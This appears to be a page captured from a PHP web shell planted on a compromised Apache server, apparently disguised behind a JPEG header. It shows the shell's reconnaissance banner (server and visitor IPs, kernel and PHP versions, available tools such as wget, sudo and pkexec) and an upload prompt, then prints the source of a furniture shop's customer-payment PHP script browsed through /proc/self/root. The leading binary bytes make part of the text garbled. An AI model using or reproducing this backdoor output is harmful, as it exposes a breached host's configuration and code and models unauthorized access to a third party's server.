����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����
Server IP : 74.208.127.88 / Your IP : 216.73.216.144 Web Server : Apache/2.4.41 (Ubuntu) System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64 User : www-data ( 33) PHP Version : 7.4.3-4ubuntu2.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /proc/self/root/proc/thread-self/root/var/www/html/muebles/application/customer2OLD/ |
Upload File : |
<?php session_start(); include "../model/dbconn.php"; include "../model/clientes.php"; require_once ("../model/pos.php"); echo "pruebas de tabla data REMOTAS"; //datos de cobranza $dtbs = new sql(); $retval = []; $list = $dtbs->list_col(); echo $retval['status'] = $list[0]; $data = $list[2]; print_r($data); $i=0; foreach ($data as $key) { //hacemos consulta de cliente por nombre $posUser = new pos(); $cliente = $posUser->getByIdClient($key['id_client']); $nombre = $cliente[1]; $dia="No-asignado"; if( $key['payday'] == 1 ) {$dia = "lunes";} if( $key['payday'] == 2 ) {$dia = "martes";} if( $key['payday'] == 3 ) {$dia = "miercoles";} if( $key['payday'] == 4 ) {$dia = "jueves";} if( $key['payday'] == 5 ) {$dia = "viernes";} if( $key['payday'] == 6 ) {$dia = "sabado";} if( $key['payday'] == 7 ) {$dia = "domingo";} $periodo="No-asignado"; if( $key['txtpayment_period'] == 1 ) {$periodo = "semanal";} if( $key['txtpayment_period'] == 2 ) {$periodo = "Catorcena";} if( $key['txtpayment_period'] == 3 ) {$periodo = "Quincenal";} if( $key['txtpayment_period'] == 4 ) {$periodo = "Mensual";} $data[$i]['periodo'] = $periodo; $data[$i]['dias'] = $dia; $data[$i]['cliente'] = $nombre['name']; $data[$i]['button'] = '<button></button>'; $i++; } $datax = array('data' => $data); echo json_encode($datax); ?>